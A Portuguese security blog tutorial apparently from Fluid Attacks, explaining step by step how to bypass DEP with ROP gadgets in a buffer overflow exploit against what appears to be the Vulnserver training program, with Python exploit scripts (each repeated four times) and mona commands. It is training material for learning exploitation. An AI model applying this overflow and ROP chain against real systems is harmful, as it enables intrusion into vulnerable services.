Índice

Título
Índice
Índice
Título

Ataques

Contornar o DEP com ROP: executar instruções por referência

cover-contornar-dep-com-rop
Andres Roldan

VP of Hacking

Updated

5 min

Na última publicação do blog, apresentamos o que é o DEP (Data Execution Prevention) e como ele afeta os exploits comuns de buffer overflow.

Neste post, vamos mostrar uma forma de contornar o DEP usando Return-Oriented Programming (ROP).

ROP

Quando escrevemos um exploit para uma vulnerabilidade de buffer overflow em uma aplicação sem DEP, sobrescrevemos o ponteiro de instrução salvo no stack frame da função afetada com um ponteiro para algo como JMP ESP (ou para qualquer outro registrador que aponte para o nosso shellcode). Em seguida, colocamos um shellcode na pilha, que é finalmente executado quando o JMP ESP acontece.

Quando executamos um JMP ESP (ou com qualquer outro registrador de uso geral), o programa espera encontrar instruções no endereço apontado por ESP. Com o DEP, não podemos executar instruções na pilha, mas continuamos controlando o fluxo de execução.

O que aconteceria se, em vez de sobrescrever o Saved EIP com um ponteiro para JMP ESP, o sobrescrevêssemos com um ponteiro para uma instrução RETN? A instrução RETN é comum nos epílogos de funções e faz uma única coisa: retira (pop) o valor apontado por ESP e o usa como o próximo ponteiro de instrução, ou EIP. Em outras palavras, RETN espera encontrar, no endereço apontado por ESP, um ponteiro para uma instrução, e não a instrução em si.

Como controlamos o fluxo de execução e escrevemos na pilha, podemos fazer o que quisermos. Vamos procurar uma instrução RETN:

!mona find -type instr -s "retn" -p 10 -o
!mona find -type instr -s "retn" -p 10 -o
!mona find -type instr -s "retn" -p 10 -o
!mona find -type instr -s "retn" -p 10 -o

Isso faz o mona procurar até 10 instruções RETN. O resultado é:

RETN results

Vamos pegar a primeira, em 62501022, e atualizar o exploit do post anterior. Desta vez, queremos que EAX tenha o valor 0xdeadbeef:

#!/usr/bin/env python3
#
## Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    b'\x31\xc0' +                   # xor eax,eax
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    b'\x31\xc0' +                   # xor eax,eax
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    b'\x31\xc0' +                   # xor eax,eax
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    b'\x31\xc0' +                   # xor eax,eax
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

E vamos ver o que acontece:

RETN trun-rop

Veja o que aconteceu:

  1. Colocamos um breakpoint no endereço da instrução RETN.

  2. Executamos o exploit.

  3. O programa parou no breakpoint.

  4. Nesse momento, observe o valor apontado por ESP: EE05C031.

  5. Esse valor faz parte do shellcode injetado:

    1. xor eax,eax → \x31\xc0

    2. add eax,0xdeadbeee → \x05\xee\xbe\xad\xde (os dois primeiros bytes)

  6. Quando a instrução RETN é executada, esse valor EE05C031 é armazenado em EIP.

Isso significa que podemos substituir os bytes EE05C031 por um ponteiro arbitrário, que vai se tornar a próxima instrução a ser executada!

No nosso exploit, queremos fazer EAX = 0xdeadbeef usando três instruções: xor eax,eax, add eax,0xdeadbeee e inc eax. Vamos verificar se encontramos, no ambiente de execução, um ponteiro que realize a primeira operação (xor eax,eax):

Immunity Debugger finding

Encontramos um em 62501162 que aponta para um xor eax,eax. Vamos atualizar o exploit e colocar esse endereço no lugar da instrução xor eax,eax:

#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 62501162  |.  31C0                  XOR EAX,EAX
    struct.pack('<L', 0x62501162) +
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 62501162  |.  31C0                  XOR EAX,EAX
    struct.pack('<L', 0x62501162) +
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 62501162  |.  31C0                  XOR EAX,EAX
    struct.pack('<L', 0x62501162) +
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 62501162  |.  31C0                  XOR EAX,EAX
    struct.pack('<L', 0x62501162) +
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Vamos executá-lo:

RETN trun-rop running again

Excelente! Veja o que aconteceu:

  1. O ponteiro para a instrução RETN foi alcançado.

  2. Quando o RETN foi executado, ele recuperou o valor apontado por ESP e atualizou EIP com esse valor.

  3. No nosso caso, esse valor era um ponteiro para uma instrução xor eax,eax.

  4. Com isso, o xor eax,eax foi executado com sucesso! Contornamos o DEP!

No entanto, há um problema. Se você observar a animação, o fluxo de execução foi desviado para onde estava a instrução xor eax,eax, mas depois perdemos o controle.

Precisamos fazer EAX = 0xdeadbeee. Há várias formas de fazer isso. Tentamos com xor eax,eax → add eax,0xdeadbeee, mas outra forma é colocar o valor 0xdeadbeee no topo da pilha e depois executar um pop eax. Também precisamos recuperar o controle do fluxo de execução. Podemos fazer isso voltando para a pilha, para executar a última instrução do nosso shellcode, inc eax, e fazer EAX = 0xdeadbeef. Ou seja, precisamos encontrar o endereço de uma instrução pop eax seguida de um retn.

pop eax

Encontramos em 625011B4! Agora dá para ver por que isso se chama ROP? Porque sempre precisamos retornar (return) à pilha para buscar o próximo ponteiro para a próxima instrução desejada. Só para constar, em termos de ROP, qualquer instrução ou conjunto de instruções seguido de um retn é chamado de gadget.

Nosso gadget pop eax # retn depende de a pilha ter o valor 0xdeadbeee no topo. Vamos atualizar o exploit:

#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Confira:

RETN pop eax

Conseguimos fazer EAX = 0xdeadbeee usando ROP. Agora, o último passo é encontrar um ponteiro para inc eax e fazer EAX = 0xdeadbeef.

inc eax

Encontramos um em 00402139. Como esta é a última instrução do nosso shellcode, o byte NULL não vai afetar o exploit. Vamos atualizar o código:

#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    # 00402139   .  40                    INC EAX
    struct.pack('<L', 0x00402139) +
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    # 00402139   .  40                    INC EAX
    struct.pack('<L', 0x00402139) +
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    # 00402139   .  40                    INC EAX
    struct.pack('<L', 0x00402139) +
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    # 00402139   .  40                    INC EAX
    struct.pack('<L', 0x00402139) +
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Confira:

RETN vulnserver trun-rop

Conseguimos fazer EAX = 0xdeadbeef sem executar uma única instrução na pilha! Contornamos o DEP!

Como usar o mona para encontrar gadgets

A esta altura, você já deve ter percebido que encontrar gadgets úteis pode se tornar algo bem tedioso. Felizmente, o mona facilita essa tarefa. Basta executar o seguinte:

!mona rop
!mona rop
!mona rop
!mona rop

And wait for mona to do the hard work:

mona hard work

Com isso, o mona vai encontrar gadgets utilizáveis no ambiente de execução. Um arquivo chamado rop.txt, com todos os gadgets encontrados, é criado no diretório do mona da aplicação depurada. O mona também gera uma proposta de algo chamado cadeias ROP (ROP chains), que nada mais são do que um conjunto de gadgets ROP encadeados para realizar algo mais complexo. Não vou dar spoiler do próximo post, mas as cadeias ROP serão usadas mais adiante em uma exploração mais séria.

Conclusões

Aqui vimos uma forma de contornar o Data Execution Prevention em um sistema Windows moderno. No entanto, o shellcode usado era muito básico e só demonstrou que é possível contornar o DEP. No próximo post, vamos usar ROP para criar algo mais complexo.

Comece agora com a solução de segurança de aplicações da Fluid Attacks

Tags:

treinamento

exploit

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Reduza o risco sem atrasar suas entregas

Reduza o risco sem atrasar suas entregas

Resultados rápidos e precisos a partir de um único programa de segurança contínuo impulsionado por IA, scanners e pentesters.

Resultados rápidos e precisos a partir de um único programa de segurança contínuo impulsionado por IA, scanners e pentesters.